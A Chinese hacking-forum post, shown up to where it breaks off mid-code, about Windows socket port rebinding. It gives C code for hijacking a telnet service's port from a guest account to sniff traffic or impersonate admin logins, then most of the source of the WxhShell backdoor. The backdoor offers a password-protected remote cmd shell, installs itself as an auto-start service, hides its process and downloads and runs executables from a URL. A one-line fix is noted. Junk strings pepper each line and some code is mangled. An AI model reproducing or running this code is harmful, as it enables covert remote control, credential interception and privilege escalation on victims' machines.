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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qGB{7-ru  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f=r<nb'H  
AicBSqUke  
  saddr.sin_family = AF_INET; R\G0'?h >  
bU2Z[sn.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ] [+#;avU  
IID-k  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v,-HU&/*B  
CR"|^{G  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d\|?-hY`[  
JP!~,mdS  
  这意味着什么?意味着可以进行如下的攻击: R6kD=JY/!  
r")`Ph@yp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K<SyC54  
,*&:2o_r  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _u5#v0Y  
Mb|a+,:>3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :toh0oB[  
-$cmG4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .ps-4eXF  
yW1)vD7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 /_AnP  
4C61GB?Vy  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 IoQEtA  
z<U-#k7nz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ORHp$Un~)  
ZojI R\F^  
  #include ff,pvk8N5  
  #include _VRpI)mu  
  #include wsZF;8ut  
  #include    \IV1j)I"u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   H8Bs<2  
  int main() `>f6) C-  
  { (:TjoXXiY  
  WORD wVersionRequested; j,lT>/  
  DWORD ret; )U7t  
  WSADATA wsaData; ;=eDO(Ij  
  BOOL val; dJeNbVd  
  SOCKADDR_IN saddr; )_syZ1j  
  SOCKADDR_IN scaddr; ; >hNt  
  int err; Tc>   
  SOCKET s; eg\v0Y!rI  
  SOCKET sc; cl[BF'.H  
  int caddsize; 5\5/  
  HANDLE mt; Y)0*b5?1r  
  DWORD tid;   }Jy8.<Gd^  
  wVersionRequested = MAKEWORD( 2, 2 ); AS'R?aX|C  
  err = WSAStartup( wVersionRequested, &wsaData ); 1 d}Z(My  
  if ( err != 0 ) { 8<S~Z:JK  
  printf("error!WSAStartup failed!\n"); lYVz 3p  
  return -1; dx5#\"KX=,  
  } )t0$qd ]  
  saddr.sin_family = AF_INET; Vd,jlt.t  
   rzhWw-GY  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 J%v=yBC2  
+%T\`6  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TN!j13,  
  saddr.sin_port = htons(23); U\4g#!qj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M -cTRd-i  
  { ww\CQ6/h  
  printf("error!socket failed!\n"); l&OKBUG  
  return -1; 2&:f&"  
  } 0=@?ob7  
  val = TRUE; =9y[1t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E4`N-3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) q0i(i.h  
  { !"HO]3-o  
  printf("error!setsockopt failed!\n"); !;&p"E|b#  
  return -1; R]}}$R`j  
  } q>_/u"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .zA^)qgL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 twL3\ }N/B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =x%dNf$e{W  
2h|MXI\g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4ni<E*  
  { #C~+JL  
  ret=GetLastError(); rq8K_zp  
  printf("error!bind failed!\n"); jSD#X3qp  
  return -1; aktU$Wbwl  
  } q@QksAq  
  listen(s,2); Y_;#UU689  
  while(1) 5,3'=mA6  
  { hm84Aq= f  
  caddsize = sizeof(scaddr); tX9{hC^  
  //接受连接请求 6]V4muz#c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); bU>U14ix<  
  if(sc!=INVALID_SOCKET) #a/5SZP Z\  
  { wa<MRt W=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I WTwz!+  
  if(mt==NULL) /[a~3^Gs^  
  { q.KG^=10  
  printf("Thread Creat Failed!\n"); -[ *,^Ti`  
  break; SN9kFFIPb=  
  } &oP +$;Y  
  } 3EV;LH L  
  CloseHandle(mt); 'DY`jVwa  
  } CY 4gSe?  
  closesocket(s); K SbKEA  
  WSACleanup(); y6ECdVF  
  return 0; PlU*X8  
  }   IpINH3odT  
  DWORD WINAPI ClientThread(LPVOID lpParam) B-?6M6#  
  { yCd-9zb=  
  SOCKET ss = (SOCKET)lpParam; L"E7#}  
  SOCKET sc; <;9 I@VYK  
  unsigned char buf[4096]; $*^kY;  
  SOCKADDR_IN saddr; ?Nup1 !D  
  long num; r54&XE]O  
  DWORD val; !POl;%\  
  DWORD ret; 9A/\h3HrJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Hbj,[$Jb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4^p5&5F  
  saddr.sin_family = AF_INET; JmF l|n/H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); iQ tN Aj  
  saddr.sin_port = htons(23); dT`D:)*:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6CV* Z\b  
  { 8UXjm_B^'  
  printf("error!socket failed!\n"); @)UZ@ ~R  
  return -1; ^ssK   
  } lW+\j3?Z$  
  val = 100; ;+e}aER&9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O!m vJD  
  { 5QW=&zI`=  
  ret = GetLastError(); 8>trS=;n  
  return -1; (n*^4@"2  
  } > A Khf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $Z!`Hb  
  { <>dT64R|  
  ret = GetLastError(); .R) D3NZp  
  return -1;  |XT)QK1  
  } D8inB+/-  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !S^AgZ~  
  { T m_bz&Q  
  printf("error!socket connect failed!\n"); 0C =3dnp6  
  closesocket(sc); v/Py"hQ  
  closesocket(ss);  J}htu  
  return -1; 3/aMJR:o  
  } Hc!  mB  
  while(1) B( ]M&  
  { txJr;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8e*,jH3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,p4&g)o  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2"0es40;0  
  num = recv(ss,buf,4096,0); ))R5(R  
  if(num>0) q+Lr"&'Q  
  send(sc,buf,num,0); TlXI|3Ip  
  else if(num==0) `e(c^z#  
  break; O ,J>/  
  num = recv(sc,buf,4096,0); 8J=? 5  
  if(num>0) aDq5C-MzG  
  send(ss,buf,num,0); y[`l3;u:'  
  else if(num==0) _a5d?Q9Z  
  break; )jU)_To  
  } 52Sa KA[  
  closesocket(ss); 1/RsptN"v  
  closesocket(sc); 5A%w 8Qv  
  return 0 ; '= _/1F*q  
  } NiWa7/Hr  
NMW#AZVd  
kjW+QT?T&  
========================================================== ZO!I.  
Qt iDTr  
下边附上一个代码,,WXhSHELL &%8'8,.  
R%Qf7Q  
========================================================== :H7D~ n  
ZW-yP2  
#include "stdafx.h" ]=.\-K  
:j5n7s?&=y  
#include <stdio.h> o 4`hY/<t  
#include <string.h> 0)%YNaskj  
#include <windows.h> @Py/K /  
#include <winsock2.h> Ager$uC  
#include <winsvc.h> N96jJk  
#include <urlmon.h> ~Fe${2   
)i~cr2Hk  
#pragma comment (lib, "Ws2_32.lib") +1Vjw'P  
#pragma comment (lib, "urlmon.lib") CAWA3fcQp  
*meZ8DV2DH  
#define MAX_USER   100 // 最大客户端连接数 c;%_EN%  
#define BUF_SOCK   200 // sock buffer wmk *h-  
#define KEY_BUFF   255 // 输入 buffer 7Ilm{@ b=  
N/]o4o  
#define REBOOT     0   // 重启 #hW;Ju73  
#define SHUTDOWN   1   // 关机 sSOOXdnGG  
!$DIc  
#define DEF_PORT   5000 // 监听端口 r>dwDBE  
_9faBrzd  
#define REG_LEN     16   // 注册表键长度 fXXr+Mor  
#define SVC_LEN     80   // NT服务名长度 B||*.`3gN  
$ .C=H[QC  
// 从dll定义API 3b*cU}go  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &Flglj~7l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e8y;.D[2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~hZ"2$(0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d{rQzia"mV  
Wc,_RN-  
// wxhshell配置信息 *7*lE"$p  
struct WSCFG { y#>,+a#5  
  int ws_port;         // 监听端口 LG-y]4a}  
  char ws_passstr[REG_LEN]; // 口令 wQv'8A_}  
  int ws_autoins;       // 安装标记, 1=yes 0=no ie;]/v a  
  char ws_regname[REG_LEN]; // 注册表键名 rW0kA1=E  
  char ws_svcname[REG_LEN]; // 服务名 ZZWD8 AX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A54N\x,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Dakoqke  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >C7r:%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xgABpikC^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rE i Ki  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WxW7qt  
~;Ov-^tp  
}; 3Th'paMG  
<!L>Exh&r  
// default Wxhshell configuration bQE};wM,  
struct WSCFG wscfg={DEF_PORT, ^=C{.{n  
    "xuhuanlingzhe", ?bPRxR  
    1, "XB[|#&  
    "Wxhshell", ]NjX?XdX<  
    "Wxhshell", O>SLOWgha  
            "WxhShell Service", x6(~;J  
    "Wrsky Windows CmdShell Service", q:l>O5  
    "Please Input Your Password: ", L/wD7/ODr  
  1, -0?~  
  "http://www.wrsky.com/wxhshell.exe", 7P" | J\  
  "Wxhshell.exe" c#a @n 4  
    }; M54j@_81pX  
H:!7:  
// 消息定义模块 "Weg7mc#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =NOH:#iQ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `1'6bp`Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i\1TOP|h  
char *msg_ws_ext="\n\rExit."; T~QWRBO  
char *msg_ws_end="\n\rQuit."; 9!T[Z/}T  
char *msg_ws_boot="\n\rReboot..."; P6!jRC"52'  
char *msg_ws_poff="\n\rShutdown..."; X'%E\/~u  
char *msg_ws_down="\n\rSave to "; M9EfU  
.zS?9MP  
char *msg_ws_err="\n\rErr!"; 8*8Zc/{  
char *msg_ws_ok="\n\rOK!"; pF&(7u  
Fkvl%n  
char ExeFile[MAX_PATH]; 9v?N+Rb  
int nUser = 0; LAVAFlK5  
HANDLE handles[MAX_USER]; &F\?  
int OsIsNt; Em?d*z  
}xBc0g r  
SERVICE_STATUS       serviceStatus; }tsYJlh5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ElS9?Q+  
cj+ FRG~u  
// 函数声明 gfsI6/Y  
int Install(void); 5V5%/FU m  
int Uninstall(void); TftHwe):V  
int DownloadFile(char *sURL, SOCKET wsh); +SsK21f"r  
int Boot(int flag); $tz;<M7B  
void HideProc(void); XID<(HBA"!  
int GetOsVer(void); ulu9'ch  
int Wxhshell(SOCKET wsl); /E Bo3`  
void TalkWithClient(void *cs); 7w 37S  
int CmdShell(SOCKET sock); x;-. ZVF  
int StartFromService(void); ?g?L3vRK  
int StartWxhshell(LPSTR lpCmdLine); )\sc83L  
v[#9+6P=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hfnN@Kg?B}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hc~s"Atck  
w:s]$:MA8  
// 数据结构和表定义 ()K " c#  
SERVICE_TABLE_ENTRY DispatchTable[] = dlJbI}-v=  
{ )_mr! z(S  
{wscfg.ws_svcname, NTServiceMain}, 2rmSo&3@s  
{NULL, NULL} M>&%(4K  
}; T _sTC)&a  
:/:.Kb  
// 自我安装 8CnRi  
int Install(void) an4GSL  
{ *:>"q ej  
  char svExeFile[MAX_PATH]; mocI&=EF2X  
  HKEY key; ojQI7 Uhw  
  strcpy(svExeFile,ExeFile); H,+I2tEs  
 Mu2  
// 如果是win9x系统,修改注册表设为自启动 {T4  
if(!OsIsNt) { _cy2z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,Vh.T&X5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A]YV s  
  RegCloseKey(key); T32+3wb"I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gN24M3{C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [ j3&/  
  RegCloseKey(key); 6fd+Q  /  
  return 0; xZ|Y ?R5m  
    } *GxTX3i}vc  
  } 'a$Gv&fu  
} 0@G")L Ue0  
else { b7!Qn}  
rA2 g&  
// 如果是NT以上系统,安装为系统服务 6b%WHLUeT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BhM '@g*  
if (schSCManager!=0) [|P!{?A43|  
{ A;/-u<f  
  SC_HANDLE schService = CreateService vw>2(K=e1  
  ( FL(6?8zK  
  schSCManager, \"CZI<=TB  
  wscfg.ws_svcname, !PrwH;  
  wscfg.ws_svcdisp, _@ *+~9%8p  
  SERVICE_ALL_ACCESS, PUo/J~v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q-MQ9'  
  SERVICE_AUTO_START, #+$G=pS'v  
  SERVICE_ERROR_NORMAL, ?*?RP)V  
  svExeFile, VYt!U  
  NULL, 0KMctPT]p  
  NULL, Kl2lbe7  
  NULL, 356>QW'm  
  NULL, X5X?&* %{  
  NULL 0j30LXI_  
  ); T/^Hz4uA7  
  if (schService!=0) A81ls#is  
  { .pfP7weQ  
  CloseServiceHandle(schService); 2zVJvn7  
  CloseServiceHandle(schSCManager); 1AG=%F|.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,hq)1u  
  strcat(svExeFile,wscfg.ws_svcname); X@k`3X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d+X}cq=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |tv"B@`  
  RegCloseKey(key); mN!lo;m5  
  return 0; =+-Yxh|*  
    } Ku\Y'ub  
  } 0A,]$Fzt  
  CloseServiceHandle(schSCManager); +n<k)E@>J  
} ~_Lr=CD;4  
} Nluv/?<  
Pcu#lWC$  
return 1; {e+-vl  
} ?[)}l9  
zX0md x<|<  
// 自我卸载 oqLfesV~  
int Uninstall(void) {"&SJt[%X  
{ /1x,h"T\<  
  HKEY key; P( XaTU&-  
t Z`z  
if(!OsIsNt) { D\[h:8k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~er\~kp  
  RegDeleteValue(key,wscfg.ws_regname); :>TEDy~O%  
  RegCloseKey(key); -O&CI)`;B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E2cB U{x  
  RegDeleteValue(key,wscfg.ws_regname); oS7(s  
  RegCloseKey(key); \3'9Uz,OC  
  return 0; aX~%5 mF  
  } AX= 1b,s  
} 3t<a $i  
} Y`o+XimX  
else { !-N6l6N  
X66VU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]d a^xWK  
if (schSCManager!=0) INkD=tX  
{ ?Y:8eD"*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zN{K5<7o  
  if (schService!=0) \0mb 3Q'  
  { ~(pmLZ<GW}  
  if(DeleteService(schService)!=0) { lY{FSGp  
  CloseServiceHandle(schService); (tCUlX2  
  CloseServiceHandle(schSCManager); vfl5Mx4  
  return 0; #% of;mJv  
  } G!Um,U/g  
  CloseServiceHandle(schService); 7UL qo>j  
  } N nk@h  
  CloseServiceHandle(schSCManager); mcn 2Wt  
}  ~BDu$  
} nPs7c %  
`5~ +,/Ys  
return 1; $2M#qkik-  
} [74F6Qp  
H(Q.a=&4!p  
// 从指定url下载文件 w.lAQ5)I%\  
int DownloadFile(char *sURL, SOCKET wsh) =xNv\e  
{ /Nr*`l  
  HRESULT hr; hgLj<  
char seps[]= "/"; ?{U m  
char *token; 0H0-U'l  
char *file; Gg~QAsks   
char myURL[MAX_PATH]; zfwS  
char myFILE[MAX_PATH]; &BtK($  
N.4q.  
strcpy(myURL,sURL); 549jWG  
  token=strtok(myURL,seps); #fJ] o_  
  while(token!=NULL) mk3_  
  { /;tPNp{!dw  
    file=token; wWSdTLX  
  token=strtok(NULL,seps); K{ \;2M  
  } aB]m*~  
<)\y#N  
GetCurrentDirectory(MAX_PATH,myFILE); 7lS#f1E  
strcat(myFILE, "\\"); p/2jh&  
strcat(myFILE, file); 9 _QP!,  
  send(wsh,myFILE,strlen(myFILE),0); A8q;q2  
send(wsh,"...",3,0); 2MATpV#BT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0]D{Va  
  if(hr==S_OK) bJYda)  
return 0; P ~#>H{  
else LY[~Os W  
return 1; %0$qP0|`3I  
l3Lyea:  
} S a4W`  
kN%MP 6?J  
// 系统电源模块 hzI|A~MFB  
int Boot(int flag) A<6%r7&B'  
{ q~@]W=  
  HANDLE hToken; eeHP&1= 7  
  TOKEN_PRIVILEGES tkp; S.Z9$k%   
M[z)6 .  
  if(OsIsNt) { 3Wwj p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +3a?` Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PG8^.)]M  
    tkp.PrivilegeCount = 1; F  q!fWl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y!5$/`AF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (ewe"N+  
if(flag==REBOOT) { kPQtQh]y%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }U SC1J  
  return 0; K9vIm4::d$  
} *]h`KxuO  
else { }hYZ" A~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $ ''9K  
  return 0; +rIL|c}J  
} 0W3i()  
  } >(y<0   
  else { gtYAHi  
if(flag==REBOOT) { `\X+ Ud|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YPzU-:3  
  return 0; >XOiu#kC  
} l~D N1z6`  
else { it> r+%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GZ{]0$9I'  
  return 0; ,+g&o^T  
} f50L,4,  
} x Au/  
,v&L:a  
return 1; +kq'+Y7  
} i5>+}$1  
5@hNnh16  
// win9x进程隐藏模块 O$kq`'9  
void HideProc(void) peJKNX.!q  
{ lQfL3`X!  
.>wv\i [p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =?h~.lo  
  if ( hKernel != NULL ) 7 Sa1;%R  
  { }|B=h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); BS q)RV/3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +n})Y  
    FreeLibrary(hKernel); kQaSbpNmH  
  } Mc-)OtmG[  
15$4&=O  
return; P/JK$nb  
} T6pLoaKu  
*jMk/9oa<N  
// 获取操作系统版本 D0mI09=GtQ  
int GetOsVer(void) v`V7OD#:j]  
{ 9S[XTU  
  OSVERSIONINFO winfo; >a1{397Y}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;. wX@  
  GetVersionEx(&winfo); QRLJ_W^&u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /%A;mlf{  
  return 1; M(d6Z2ibh  
  else (~)%Fo9X"  
  return 0; DMF -Y-h  
} G pbC M~x  
;pD)m/$h`  
// 客户端句柄模块 q!f1~aG  
int Wxhshell(SOCKET wsl) f'q 28lVf  
{ [+w3J#K  
  SOCKET wsh; [ BT)l]  
  struct sockaddr_in client; mp~{W  
  DWORD myID; `.#@@5e  
hI pKJ&hm  
  while(nUser<MAX_USER) 9_fePS|Z4  
{ wh:1PP  
  int nSize=sizeof(client); VR!-%H\AW  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 51# "3S  
  if(wsh==INVALID_SOCKET) return 1; &x-TW,#Ks  
qn"D#K'&(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `o79g"kxe  
if(handles[nUser]==0) !:LJzROh  
  closesocket(wsh); o{*ay$vA]  
else 0)9"M.AIvo  
  nUser++; 55t\Bms{  
  } *?yJkJ"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yMLOUUWa8x  
kCUT ^  
  return 0; w6 2=06`@  
} Q,Z*8FH=  
`(0LK%w  
// 关闭 socket bXYA5wG  
void CloseIt(SOCKET wsh) h{ lDxOH*  
{ $jI>[%  
closesocket(wsh); TP1S[`nR  
nUser--; 8u2+tB  
ExitThread(0);  n i  
} aFY_:.o2k`  
cgC\mM4Nla  
// 客户端请求句柄 #JA}3]  
void TalkWithClient(void *cs) `\<37E\N}  
{ ,jy*1Hjd  
}a&mY^  
  SOCKET wsh=(SOCKET)cs; Pw@olG'Ah  
  char pwd[SVC_LEN]; 5&CDHc7Oj  
  char cmd[KEY_BUFF]; rZ_>`}O2  
char chr[1];  Voh hQ  
int i,j; kllQca|$4  
/?"8-0d  
  while (nUser < MAX_USER) { 8_d -81Dd  
1Q}mf!Y  
if(wscfg.ws_passstr) { %HtuR2#ca  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Ggs JU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,pq{& A  
  //ZeroMemory(pwd,KEY_BUFF); [O-sVYB  
      i=0; 5 waw`F  
  while(i<SVC_LEN) { *.f2VQ~H  
>+cVs:  
  // 设置超时 <Wl(9$  
  fd_set FdRead; ,/&Zw01dGN  
  struct timeval TimeOut; d0 er^ ~  
  FD_ZERO(&FdRead); %up}p/?  
  FD_SET(wsh,&FdRead); ;52'}%5  
  TimeOut.tv_sec=8; Jf:,y~mV  
  TimeOut.tv_usec=0; km:nE: |  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H L<s@kEZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tn/T6C^)  
<XQ.A3SG!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HTz+K6&  
  pwd=chr[0]; c\cZ]RZ  
  if(chr[0]==0xd || chr[0]==0xa) { P\~{3U  
  pwd=0; ]*%+H|l  
  break; f?Bj _z  
  } 1 [z'G)v  
  i++; K2'O]#  
    } Jd 3@cLCe-  
3+OsjZ  
  // 如果是非法用户,关闭 socket V7=SV:+1or  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kpfwqHT  
} "oc$  
e[Xq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KSs1CF'i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m8R=?U~!S  
4cCF \&yU  
while(1) { ,*,sw:=2  
$*~Iu%Az  
  ZeroMemory(cmd,KEY_BUFF); g?/XZ5$a5  
US?Rr  
      // 自动支持客户端 telnet标准   ~el-*=<m  
  j=0; _JGs}aQ  
  while(j<KEY_BUFF) { j kn^Z":  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~krS#\  
  cmd[j]=chr[0]; ?~ULIO'  
  if(chr[0]==0xa || chr[0]==0xd) { 9$d.P6|d>  
  cmd[j]=0; }4c/YP"a'E  
  break; 2BB<mv K4  
  } )JgC$ <  
  j++; |qjZ38;6  
    } #I\Y= XCY  
Mpx/S<Z  
  // 下载文件 z YDK $  
  if(strstr(cmd,"http://")) { ?;7b*Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  ;\b@)E}  
  if(DownloadFile(cmd,wsh)) L&w.j0fq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =_=*OEgO]  
  else *:_~Nn9_R;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W=-|`  
  } OHp5z? z  
  else { R"6;NPeo  
2z2`  
    switch(cmd[0]) { |w)5;uQ&\  
  2wh#$zGy  
  // 帮助 setL dEi  
  case '?': { o$_93<zc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cqL(^R.  
    break; E'dX)J9e$/  
  } ^)\+l%M  
  // 安装 `ti8-  
  case 'i': { delf ]  
    if(Install()) r4k nN 2:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VQ |^   
    else p!"(s/=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9R]](g#  
    break; E8[XG2ye  
    } +g\;bLT  
  // 卸载 juno.$ 6  
  case 'r': { 3o8\/-*<  
    if(Uninstall()) Y)p4]>lT+8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gbb \h  
    else INNAYQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l)@:T|)c  
    break; lmFA&s"m  
    } F1u)i  
  // 显示 wxhshell 所在路径 #\FT EY!  
  case 'p': { Gt^d;7x]  
    char svExeFile[MAX_PATH]; pt!'v$G/*  
    strcpy(svExeFile,"\n\r"); 3IyZunFT  
      strcat(svExeFile,ExeFile); Pz~q%J  
        send(wsh,svExeFile,strlen(svExeFile),0); H7e /  
    break; Cd~LsdKE5  
    } v}`1)BUeF  
  // 重启 9m!7|(QV  
  case 'b': { |cTpw1%I~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ' iQ9hQjD  
    if(Boot(REBOOT)) z}APR@?`n8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P/ aDd@j  
    else { t.=Oj  
    closesocket(wsh); 5+L8\V9;  
    ExitThread(0); :('I)C  
    } GXeAe}T  
    break; xXOw:A'  
    } XS/n>C  
  // 关机 V*qY"[   
  case 'd': { {8m1dEC^@Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fv==Gu%{  
